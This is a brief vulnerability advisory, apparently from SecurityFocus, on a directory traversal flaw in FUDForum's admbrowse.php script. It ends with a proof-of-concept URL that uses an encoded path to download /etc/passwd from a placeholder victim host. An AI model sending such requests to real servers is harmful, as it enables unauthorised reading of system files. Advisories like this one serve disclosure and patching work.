5 lines
No EOL
448 B
Text
5 lines
No EOL
448 B
Text
source: http://www.securityfocus.com/bid/5502/info
|
|
|
|
Reportedly, it is possible for an administrator to manipulate (create, modify etc.) files outside of the FUDForum directories. This vulnerability is present in the 'adm/admbrowse.php' script. The vulnerability is the result of FUDForum allowing access to files and directories outside of FUDForum directories.
|
|
|
|
http://victim.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid] |